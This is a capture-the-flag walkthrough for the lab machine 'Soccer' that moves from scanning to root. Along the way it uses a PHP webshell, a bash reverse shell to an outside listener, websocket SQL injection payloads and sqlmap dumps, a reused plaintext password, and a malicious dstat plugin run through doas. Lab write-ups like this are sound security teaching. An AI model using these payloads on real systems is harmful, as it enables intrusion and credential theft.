Soccer
Linux · Easy
10.10.11.194
Reconnaissance:
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.11.194
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Mon, 29 Jan 2024 02:55:02 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 29 Jan 2024 02:55:03 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
| </html>
| RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 29 Jan 2024 02:55:05 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94SVN%I=7%D=1/28%Time=65B71380%P=x86_64-pc-linux-gnu%r
SF:(informix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20clos
SF:e\r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
SF::\x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\
SF:nContent-Length:\x20139\r\nDate:\x20Mon,\x2029\x20Jan\x202024\x2002:55:
SF:02\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\
SF:n</head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r
SF:(HTTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-
SF:Policy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201
SF:43\r\nDate:\x20Mon,\x2029\x20Jan\x202024\x2002:55:03\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n
SF:<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pr
SF:e>Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,
SF:"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20defaul
SF:t-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\
SF:x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Mo
SF:n,\x2029\x20Jan\x202024\x2002:55:05\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=
SF:\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIO
SF:NS\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.09 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.11.194
68/udp open|filtered dhcpc
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1028.07 seconds
Open Ports | Service Running
-----------|-----------------
22 | ssh
80 | http
9091 | xmltec-xmlmail
Enumeration: HTTP 80/tcp
WAPP:
Web servers
- Nginx 1.18.0
Operating systems
- Ubuntu
CDN
- cdnjs
- Google Hosted Libraries
- jsDelivr
- Cloudflare
JavaScript libraries
- jQuery 3.2.1
Reverse proxies
- Nginx 1.18.0
UI frameworks
- Bootstrap 5.2.2
┌──(kali💀kali)-[~]
└─$ sudo nano /etc/hosts
10.10.11.194 soccer.htb
view-source:http://soccer.htb/
┌──(kali💀kali)-[~]
└─$ whatweb -a3 http://soccer.htb/ -v
WhatWeb report for http://soccer.htb/
Status : 200 OK
Title : Soccer - Index
IP : 10.10.11.194
Country : RESERVED, ZZ
Summary : Bootstrap[4.1.1], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], JQuery[3.2.1,3.6.0], nginx[1.18.0], Script, X-UA-Compatible[IE=edge]
Detected Plugins:
[ Bootstrap ]
Bootstrap is an open source toolkit for developing with
HTML, CSS, and JS.
Version : 4.1.1
Version : 4.1.1
Website : https://getbootstrap.com/
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : nginx/1.18.0 (Ubuntu) (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 3.2.1,3.6.0
Website : http://jquery.com/
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:
http://msdn.microsoft.com/en-us/library/cc817574.aspx
String : IE=edge
[ nginx ]
Nginx (Engine-X) is a free, open-source, high-performance
HTTP server and reverse proxy, as well as an IMAP/POP3
proxy server.
Version : 1.18.0
Website : http://nginx.net/
HTTP Headers:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 29 Jan 2024 04:53:55 GMT
Content-Type: text/html
Last-Modified: Thu, 17 Nov 2022 08:07:11 GMT
Transfer-Encoding: chunked
Connection: close
ETag: W/"6375ebaf-1b05"
Content-Encoding: gzip
┌──(kali💀kali)-[~]
└─$ curl -i http://soccer.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 29 Jan 2024 04:54:23 GMT
Content-Type: text/html
Content-Length: 6917
Last-Modified: Thu, 17 Nov 2022 08:07:11 GMT
Connection: keep-alive
ETag: "6375ebaf-1b05"
Accept-Ranges: bytes
┌──(kali💀kali)-[~]
└─$ nikto -h http://soccer.htb
+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7962 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2024-01-29 00:45:43 (GMT-5) (2898 seconds)
┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
BURP: 10.10.11.194:9091 http://soccer.htb/tiny/ http://soccer.htb/tiny/tinyfilemanager.php
Notice the Bottom of the Image → © CCP Programmers
The Page is developed by Tiny File Manager which uses 2 default credentials that are mentioned in their GitHub documentation.
Try to Login with those Credentials.
username: admin
password: admin@123
username: user
password: 12345
We logged In as Admin
Foot Hold: Shell as www-data
Tiny File Manager: Logged in, the page show the files that are part of the Soccer website:
http://soccer.htb/tiny/tinyfilemanager.php?p=tiny&view=tinyfilemanager.php
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
// if User has the customized config file, try to use it to override the default config above
$config_file = 'config.php';
if (is_readable($config_file)) {
@include($config_file);
The tiny directory has the filemanager page, as well as the uploads directory There is a “File Upload” feature that we can use to obtain a Reverse shell
Shell: I’ll make a simple PHP webshell:
┌──(kali💀kali)-[~/Desktop]
└─$ nano shell.php
<?php system($_REQUEST["cmd"]); ?>
I’ll use the “Upload” button, and it offers a way to upload If I try to upload in /var/www/html/, it fails If I navigate to /tiny/uploads and then click “Upload”, it works: Destination Folder: /var/www/html/tiny/uploads
The webshell provides execution:
┌──(kali💀kali)-[~/Desktop]
└─$ curl http://soccer.htb/tiny/uploads/shell.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I’ll start nc listening on 443 on my host, and trigger a reverse shell by sending a bash reverse shell:
┌──(kali💀kali)-[~]
└─$ nc -lnvp 443
┌──(kali💀kali)-[~/Desktop]
└─$ curl http://soccer.htb/tiny/uploads/shell.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.16.6/443 0>%261"'
┌──(kali💀kali)-[~]
└─$ nc -lnvp 443
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.194] 59324
www-data@soccer:~/html/tiny/uploads$ whoami
www-data
www-data@soccer:~/html/tiny/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@soccer:~/html/tiny/uploads$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@soccer:~/html/tiny/uploads$
Priv Esc: Shell as player
Enumeration:
Web Roots The files in /var/www/html match what I observed via the file manager:
www-data@soccer:~/html$ ls
football.jpg ground2.jpg ground4.jpg tiny
ground1.jpg ground3.jpg index.html
There’s no database connection. The only credentials in the files are the users created for the Tiny File Manager:
http://soccer.htb/tiny/tinyfilemanager.php?p=tiny&view=tinyfilemanager.php
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
Other Home Directories There’s one home directory in /home, player user.txt is in that directory but www-data can’t read it:
www-data@soccer://home/player$ cat user.txt
cat: user.txt: Permission denied
Network / Processes The netstat shows a few ports that weren’t available from the outside:
www-data@soccer://home/player$ netstat -tnlp
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1093/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 1093/nginx: worker
tcp6 0 0 :::22 :::* LISTEN -
There’s still not much information about what 9091 could be. Port 3000 looks to be another web page:
www-data@soccer:/$ curl localhost:3000
3306 and 33060 both seem to be MySQL instances:
www-data@soccer:/$ mysql -p 3306
www-data@soccer:/$ mysql -p 33060
It’s hard to verify any of this as www-data can only read it’s own processes:
www-data@soccer://home/player$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www-data 1093 0.1 0.1 54212 6456 ? S 02:48 0:47 nginx: worker process
www-data 1094 0.1 0.1 54080 6200 ? S 02:48 0:32 nginx: worker process
www-data 3542 0.0 0.0 2608 532 ? S 07:04 0:00 sh -c bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"
www-data 3543 0.0 0.0 3976 2916 ? S 07:04 0:00 bash -c bash -i >& /dev/tcp/10.10.16.6/443 0>&1
www-data 3544 0.0 0.0 4108 3588 ? S 07:04 0:00 bash -i
www-data 3550 0.0 0.2 15956 9448 ? R 07:05 0:00 python3 -c import pty;pty.spawn('/bin/bash')
www-data 3551 0.0 0.0 7304 3696 pts/0 Ss 07:05 0:00 /bin/bash
That is because /proc is mounted with hidepid=2:
www-data@soccer://home/player$ mount | grep ^proc
proc on /proc type proc (rw,nodev,relatime,hidepid=2)
nginx There’s nothing else of interest in the system root or /opt or /srv. I’ll look at how nginx is configured. There are two site files in /etc/nginx/sites-enabled:
www-data@soccer://home/player$ cd /etc/nginx/sites-enabled
www-data@soccer:/etc/nginx/sites-enabled$ ls
default soc-player.htb
default set up the redirect to soccer.htb: It also configures the main site, allowing it PHP for PHP files: soc-player.htb sets up another site that matches on the name soc-player.soccer.htb: This webserver is hosted out of /root/, which is interesting, and passes to localhost 3000 (as observed previously).
Let’s add the soc-player.soccer.htb to our /etc/hosts and open it in the browser
┌──(kali💀kali)-[~/Desktop]
└─$ sudo nano /etc/hosts
10.10.11.194 soc-player.soccer.htb
soc-player.soccer.htb:
This site looks exactly the same as the previous, except it has more options in the menu bar: “Match” has a page with a couple matches on it: It mentions a free ticket with login. I’ll register an account on the login: After logging in, it redirects to /check, where I get a ticket id:
http://soc-player.soccer.htb/check
I can put a ticket id into the field and hit enter, and it tells me that the ticket exists: Or a different number does not exist:
It’s running Express, a NodeJS web framework.
Websockets:
There’s another interesting request. Logging in submits a POST request to /login. On success, it returns a 302 redirect to /check. As that page is loading, it makes a request to soc-player.soccer.htb:9091, which returns a 101:
GET / HTTP/1.1
Host: soc-player.soccer.htb:9091
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Upgrade: websocket
Origin: http://soc-player.soccer.htb
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AHi87C0dfLfezwW7FEekEH90jafe4cnTF.UB3DlPrIEHEKfsIDMmd5qVC4S9M6oY49MMO8lfh4JkU
Sec-WebSocket-Key: LqseXXVnT3aF4dJjbC0BwA==
HTTP 101 is a Switching Protocols response:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: 0aUpHCctSJfNaJVM8Bx8NnpqeyY=
TCP 9091 is a websocket server. There’s no immediate messages shown in the “WebSockets history” tab in Burp. But once I check a ticket, there’s a message and a response: The sent message is simply JSON with the id: The response is just the text that is shown:
SQL Injection over Websockets:
Identify
I’ll send one of the “To server” message to Burp Repeater and play around with it. Adding in a ' doesn’t do anything other than return “Ticket Doesn’t Exist”. Any time I’m trying SQLI with an integer value, it’s worth trying without a ' as well. The ' is used to close strings, but if the input is being handled as an integer, perhaps just an ' or 1=1– - will work (where – -
is to comment out whatever follows). It does: There is no ticket 0, but it still returns exists because it pulls all rows.
Blind SQL Injection Background This is a blind SQL injection - no data from the database comes back in the response, only one of two responses. The goal is to be able to ask questions of the database. For example, “is there a username that starts with ‘a’”? To get there, first I’ll need to be able to picture the query being run on the system. It’s going to be something like:
SELECT * from ticket where id = {id};
If one or more rows return, then it says the ticket exists, else it doesn’t. To make a test, there are a few ways I could structure a query. For manual testing, I prefer to use a UNION injection. I’ll send something that will return no rows, and then use a UNION to make another query, and then if that query returns rows, it will return that the “Ticket Exists”. It’s also possible to make these queries using OR foo=bar to test, but I find those more difficult to think about when doing the manual approach. I’ll also note that the app seems to handle query errors by returning “Ticket Doesn’t Exist” rather than crashing.
Manually Building a UNION I need to know the number of columns returned from the query, because my UNION statement must return the same number, or it crashes. If I send one, it returns false:
I’ll add more columns until it returns true at three columns:
Now the query on the server looks like this:
SELECT * from ticket where id = 0 UNION SELECT 1,2,3;
The first select returns no row, and then my UNION returns the values 1, 2, 3, and it returns “Ticket Exists”.
Manually Asking a Question Now to ask a question. In MySQL, there’s a mysql.user table with the users that can log into MySQL. I’m going to send this payload that will return true if there’s a user in that table that starts with “a”:
{"id":"0 UNION select user,2,3 from mysql.user where user like 'a%'-- -"}
It returns false. There is likely a user named “root”, and changing “a” to “r”, it returns true: With enough requests, any value from the table can be brute-forced one character at a time.
sqlmap
Doing all of this manually is impossible, so I’ll either have to write a script to do it, or find a tool. sqlmap is the perfect tool here, and it even works over websockets. If sqlmap returns this error, it’s because the Python websockets library is missing:
[21:17:13] [CRITICAL] sqlmap requires third-party module 'websocket-client' in order to use WebSocket functionality
Or if sqlmap returns this error, it’s because the wrong websockets library is installed:
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmapapi.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmap.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/thirdparty/identywaf/identYwaf.py'
[21:18:30] [CRITICAL] wrong websocket library detected (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-77504
1086')
Either of these are fixed with: pip install websocket-client I’ll give it the following arguments:
-u "ws://soc-player.soccer.htb:9091" - The URL to connect to.
--data '{"id": "1234"}' - The data to send.
--dbms mysql - Tell sqlmap that it’s running MySQL.
--batch - Take the default answer on all questions.
--level 5 --risk 3 - Increase to the most aggressive to find the boolean injection (without this it just finds a time-based injection, which is really slow).
It finds a time-based injection, and then finds the three column UNION-based boolean as well: It’s using the OR structure for boolean rather than UNION.
┌──(kali💀kali)-[~]
└─$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --lev
el 5 --risk 3
Enumerate DB:
List Databases Now that sqlmap has found an injection, I’ll up-arrow and add --dbs to the previous command. Theads are safe to do in a boolean injection, so I’ll add --threads 10 to speed it up. It will pick up where it left off and list the available databases:
┌──(kali💀kali)-[~]
└─$ sqlmap -u ws://soc-player.soccer.htb:9091 --dbs --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
List Tables in soccer_db soccer_db seems like the only non-default DB. I’ll replace --dbs with -D soccer_db to specify that database and then add --tables to list the tables:
┌──(kali💀kali)-[~]
└─$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db --tables --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
There’s only one.
Dump accounts In general, with boolean and time-based SQL injections, I want to be careful about dumping tons of data, as it will be very slow. That said, since there’s only one table, I want the entire thing, so I’ll replace --tables with -T accounts and add --dump. It dumps the table:
sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
The user is player and the password is in plaintext.
su / SSH: That password works for the player user on the box with su, It works for SSH as well:
┌──(kali💀kali)-[~]
└─$ ssh player@soccer.htb
PlayerOftheMatch2022
player@soccer:~$ whoami
player
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player@soccer:~$ ls
user.txt
player@soccer:~$ cat user.txt
369c5f---------------------------
Shell as root
Enumeration:
sudo / doas: The first check on Linux is always sudo, but nothing set up for player on Soccer:
player@soccer:~$ sudo -l
[sudo] password for player:
Sorry, user player may not run sudo on localhost.
However, in looking for SetUID binaries, the first one jumps out:
player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas
doas is an alternative to sudo typically found on OpenBSD operating systems, but that can be installed on Debian-base Linux OSes like Ubuntu.
doas Config: I don’t see a doas.conf file in /etc, so I’ll search the filesystem for it with find:
player@soccer:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
It has one line:
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
player can run the command dstat as root.
dstat:
man Page dstat is a tool for getting system information. Looking at the man page, there’s a section on plugins that says:
While anyone can create their own dstat plugins (and contribute them) dstat ships with a number of plugins already that extend its capabilities greatly.
At the very bottom of the page, it has a section on files: Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
Plugins are Python scripts with the name dstat_[plugin name].py.
Malicious Plugin: I’ll write a very simple plugin:
import os
os.system("/bin/bash")
This will drop into Bash for an interactive shell. Looking at the list of locations, I can obviously write to ~/.dstat, but when run with doas, it’ll be running as root, and therefore won’t check /home/player/.dstat. Luckily, /usr/local/share/dstat is writable.
player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_exodus.py
With that in place, I’ll invoke dstat with the 0xdf plugin:
player@soccer:~$ doas /usr/bin/dstat --exodus
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/home/player# whoami
root
root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)
root@soccer:/home/player# cd ~
root@soccer:~# ls
app root.txt run.sql snap
root@soccer:~# cat root.txt
1b2789----------------------------
Last updated